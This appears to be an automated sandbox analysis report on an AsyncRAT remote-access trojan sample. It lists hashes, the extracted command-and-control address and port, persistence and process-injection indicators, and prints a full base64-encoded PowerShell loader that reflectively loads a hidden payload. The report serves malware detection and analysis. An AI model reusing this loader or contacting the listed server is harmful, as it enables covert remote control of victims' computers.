asyncrat | 550ffeb56ffc50ac3e2629af8ff2421411a82fbf838ac17f7c934152a7e26c19

Analysis

max time kernel
72s
max time network
74s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
31/03/2024, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Run.bat
Size 247KB
Sample240331-pnsfcabh46
SHA256 d6054c9c7b230b50547d4011b35aeda76b1c8dfff4db250f37ecd271a69a553f
MD5 c7637cdea02f137186120d3f05b0c97e
SHA1 379b0798ac90ce3b58a0b85660194fc33a5d8dc5
SHA512 8ebaba0f3055c2394c41ba75d578758fed0ece226d56a033e0fffd8014eee995351812982c23b6239e53d7dc742467ace380c4229c5f6b3c76bbaaa498665078
SSDEEP 6144:zn8UUt4f+6Z11SExnYcGtetPqDHp2QPRFKX:zn4Ry1SXtetCDASRFKX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

212.193.11.40:7707

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_file
rl.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4312 set thread context of 656	4312	powershell.exe	79

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4880	powershell.exe
4880	powershell.exe
4880	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe
4312	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 4560	2628	cmd.exe	74
PID 2628 wrote to memory of 4560	2628	cmd.exe	74
PID 4560 wrote to memory of 4880	4560	cmd.exe	76
PID 4560 wrote to memory of 4880	4560	cmd.exe	76
PID 4560 wrote to memory of 4880	4560	cmd.exe	76
PID 4560 wrote to memory of 4312	4560	cmd.exe	77
PID 4560 wrote to memory of 4312	4560	cmd.exe	77
PID 4560 wrote to memory of 4312	4560	cmd.exe	77
PID 4312 wrote to memory of 4140	4312	powershell.exe	78
PID 4312 wrote to memory of 4140	4312	powershell.exe	78
PID 4312 wrote to memory of 4140	4312	powershell.exe	78
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79
PID 4312 wrote to memory of 656	4312	powershell.exe	79

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Run.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Run.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY3Z0cmVzLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4880
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
    3⤵
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4140
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:656

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
MD5 66382a4ca6c4dcf75ce41417d44be93e
SHA1 8132cbef1c12f8a89a68a6153ade4286bf130812
SHA512 2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 17KB
SHA256 110a2a5876232b95ec8643fb1e8b82dc3434202aed1a5ab4dd4b29752176ed15
MD5 47949d79e6c4a1ed6c7e80510e6f4def
SHA1 0b507a37cb0ff123ae3887a7512ca42e1f945388
SHA512 09394c374dbe17f64a17b1a53a488df4231cdc71c8fa6428260c2f0817dc4f0c9fd4bf4a28f86202e4b35722fb57155521e61d311aecf8e4ed3bdd01c0ecc770
SSDEEP 384:I2E5fyLoYf3XloteIAqUhBJHrKx7PgVHcfIzzT06hVlWX0BhXlw4shK9k:bKyfHl/Pq+v2xkH4IwIWk7Gwq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_nweriajd.2bl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nweriajd.2bl.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

cvtres.bat

Path C:\Users\Admin\cvtres.bat
Size 247KB
SHA256 d6054c9c7b230b50547d4011b35aeda76b1c8dfff4db250f37ecd271a69a553f
MD5 c7637cdea02f137186120d3f05b0c97e
SHA1 379b0798ac90ce3b58a0b85660194fc33a5d8dc5
SHA512 8ebaba0f3055c2394c41ba75d578758fed0ece226d56a033e0fffd8014eee995351812982c23b6239e53d7dc742467ace380c4229c5f6b3c76bbaaa498665078
SSDEEP 6144:zn8UUt4f+6Z11SExnYcGtetPqDHp2QPRFKX:zn4Ry1SXtetCDASRFKX
MD5 SHA1 SHA512 SSDEEP

Submit Download

cvtres.ps1

Path C:\Users\Admin\cvtres.ps1
Size 1KB
SHA256 d2e1c1fef3af43c1c672e99d0040f36768a6041ff9d0d3d2d71751b39e4e1d09
MD5 6f35158874ea4b14043a77ba49bf342a
SHA1 a2675898e47ae854c2380841acdb9fdbe7b050c1
SHA512 2696dfdeca5fbde843851588aff2bcf70d13dad9122fbec8b48d2aed066a2794bd39781981b31908343b2aef5f8a716f74bdea19dd49690db1c91930c7013281
MD5 SHA1 SHA512

Submit Download

memory/656-83-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/656-80-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/656-78-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/4312-70-0x00000000093E0000-0x0000000009436000-memory.dmp

Download

memory/4312-45-0x0000000004560000-0x0000000004570000-memory.dmp

Download

memory/4312-82-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/4312-76-0x00000000772F1000-0x0000000077404000-memory.dmp

Download

memory/4312-74-0x0000000006BC0000-0x0000000006BCA000-memory.dmp

Download

memory/4312-73-0x0000000004560000-0x0000000004570000-memory.dmp

Download

memory/4312-71-0x0000000009590000-0x00000000095AE000-memory.dmp

Download

memory/4312-64-0x0000000009820000-0x0000000009D1E000-memory.dmp

Download

memory/4312-63-0x0000000009210000-0x0000000009232000-memory.dmp

Download

memory/4312-62-0x0000000009280000-0x0000000009314000-memory.dmp

Download

memory/4312-44-0x0000000004560000-0x0000000004570000-memory.dmp

Download

memory/4312-43-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/4880-10-0x0000000007530000-0x0000000007596000-memory.dmp

Download

memory/4880-4-0x0000000006600000-0x0000000006636000-memory.dmp

Download

memory/4880-9-0x0000000007360000-0x0000000007382000-memory.dmp

Download

memory/4880-11-0x00000000075A0000-0x0000000007606000-memory.dmp

Download

memory/4880-39-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/4880-36-0x0000000006680000-0x0000000006690000-memory.dmp

Download

memory/4880-8-0x0000000006CC0000-0x00000000072E8000-memory.dmp

Download

memory/4880-13-0x00000000079C0000-0x00000000079DC000-memory.dmp

Download

memory/4880-31-0x0000000008BF0000-0x0000000008C0A000-memory.dmp

Download

memory/4880-30-0x0000000009660000-0x0000000009CD8000-memory.dmp

Download

memory/4880-12-0x0000000007670000-0x00000000079C0000-memory.dmp

Download

memory/4880-15-0x0000000007DF0000-0x0000000007E66000-memory.dmp

Download

memory/4880-5-0x00000000735B0000-0x0000000073C9E000-memory.dmp

Download

memory/4880-6-0x0000000006680000-0x0000000006690000-memory.dmp

Download

memory/4880-14-0x0000000007B30000-0x0000000007B7B000-memory.dmp

Download

memory/4880-7-0x0000000006680000-0x0000000006690000-memory.dmp

Download